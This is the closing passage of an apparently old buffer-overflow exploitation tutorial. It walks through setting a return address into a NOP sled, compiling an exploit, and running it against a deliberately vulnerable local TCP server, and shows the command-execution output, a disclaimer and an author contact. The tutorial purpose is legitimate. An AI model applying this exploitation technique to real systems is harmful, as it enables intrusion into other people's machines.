0xbfffe9c8: 0xbb 0xcc 0xff 0xb7 0x5a 0xcd 0xff 0xb7
0xbfffe9d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffe9d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbfffe9e0: 0x00 0x00 0x00 0x00 0xcc 0x58 0xfe 0xb7
0xbfffe9e8: 0xa2 0xea 0xfe 0xb7 0x00 0x00 0xfc 0xb7
0xbfffe9f0: 0x70 0x48 0x02 0x00 0xf4 0x0f 0x00 0xb8
0xbfffe9f8: 0x70 0xed 0xff 0xbf 0x0f 0xa2 0xfe 0xb7
0xbfffea00: 0x20 0x13 0x00 0xb8
(gdb)
---------------------------------------------------------------------------------------------
Nice, EIP has been set to hold "41414141"(="AAAA"), which was exactly what we told it to hold,
and our NOP-sled is in place. :)
Now let's pick an address pointing somewhere in the NOP-sled, say "0xbfffe8e8".
Converted will be "\xe8\xe8\xff\xbf".
Now change this:
**********************************************
/* a memory address pointing somewhere in our NOP-sled which will overwrite
the EIP register */
char *eip = "AAAA";
***********************************************
to:
**********************************************
/* a memory address pointing somewhere in our NOP-sled which will overwrite
the EIP register */
char *eip = "\xe8\xe8\xff\xbf";
***********************************************
and:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> gcc sploit.c -o sploit.bin
sploit.c: In function â..mainâ..:
sploit.c:67: warning: passing argument 2 of â..connectâ.. from incompatible pointer type
zapotek@lil-z:~/Documents/bo>
---------------------------------------------------------------------------------------------
That's pretty much it.
All you have to do know is rerun the TCP/IP server and the exploit:
Exploit Output:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> ./sploit.bin 127.0.0.1
[ * ] Creating socket... OK
[ * ] Constructing payload... OK [272 bytes]
[ * ] Connecting to target... OK [127.0.0.1]
[ * ] Sending payload to target... OK [ls -l]
[ * ] It's all yours now, I'm out.
zapotek@lil-z:~/Documents/bo>
---------------------------------------------------------------------------------------------
Server Output:
---------------------------------------------------------------------------------------------
lil-z:/home/zapotek/Documents/bo # ./vuln.bin
server: got connection from 127.0.0.1
total 11783
-rw-r--r-- 1 zapotek users 8721 Aug 24 17:11 Buffer Overflows, a peek under the hood.odt
-rw-r--r-- 1 zapotek users 38573 Aug 26 03:31 Buffer Overflows, a peek under the hood.txt
-rw------- 1 zapotek users 151552 Aug 26 03:36 core
-rwxr-xr-x 1 zapotek users 525173 Aug 25 18:14 shellcode
-rw-r--r-- 1 zapotek users 40 Aug 25 18:14 shellcode.c
-rw-r--r-- 1 root root 5530086 Aug 25 18:20 shellcode.out
-rw-r--r-- 1 zapotek users 9575 Aug 25 20:44 shellcode.out2
-rwxr-xr-x 1 zapotek users 6602 Aug 25 20:43 shellcode2
-rw-r--r-- 1 zapotek users 40 Aug 25 20:43 shellcode2.c
-rw-r--r-- 1 zapotek users 1052 Aug 26 03:23 shellcode3
-rwxr-xr-x 1 zapotek users 8215 Aug 26 02:25 sploit.bin
-rw-r--r-- 1 zapotek users 2383 Aug 26 02:25 sploit.c
-rw-r--r-- 1 zapotek users 673 Aug 26 03:36 sploit.pl
-rw-r--r-- 1 zapotek users 1288 Aug 25 20:16 sploit1.c
-rw-r--r-- 1 zapotek users 9575 Aug 25 20:43 temp1
-rw-r--r-- 1 zapotek users 782 Aug 25 19:11 tenp_tzt
-rwxr-xr-x 1 zapotek users 6540 Aug 26 02:22 test
-rw-r--r-- 1 zapotek users 362 Aug 26 02:21 test.c
-rwxr-xr-x 1 zapotek users 6595 Aug 24 22:18 tmp.bin
-rw-r--r-- 1 zapotek users 455 Aug 24 23:41 tmp.c
-rwxr-xr-x 1 zapotek users 6694 Aug 24 23:31 tmp.vuln
-rw-r--r-- 1 zapotek users 780 Aug 25 20:29 tmpcode
-rw-r--r-- 1 zapotek users 796 Aug 25 20:30 tmpcode.c
-rwxr-xr-x 1 root root 8283 Aug 23 23:50 vuln.bin
-rw-r--r-- 1 zapotek users 2256 Aug 23 23:53 vuln.c
-rwxr-xr-x 1 zapotek users 6701 Aug 26 03:08 vulnerable
-rw-r--r-- 1 zapotek users 455 Aug 26 03:07 vulnerable.c
lil-z:/home/zapotek/Documents/bo #
---------------------------------------------------------------------------------------------
[ 0x10 ] Epilogue
=================================================
Well, this paper came to an end and so did my ability to stay awake, 5:05am atm. :P
I hope I didn't bore you and that I helped you understand buffer overflows a bit more.
This was really fun, except from chapter "[ 0x0e ] Buffer Overflow & Exploit Examples".
Damn bash was screwing up my shellcode!!!
I don't like what I'm about to say but I kinda have to.
---------------------------------------------------------------------------------------------
I don't hold any responsibility for your actions nor for any damages that may occur when
using the techniques or code presented here.
No warranty is provided for what is said here so, use the information contained in this paper
on you own risk!
---------------------------------------------------------------------------------------------
You can contact me at zapotekzsp[at]gmail.com, and please put the paper's title in the
subject of your e-mails otherwise I might miss them.
Any corrections, suggestions and clarifications are welcomed.
##EOF##
# milw0rm.com [2006-08-26]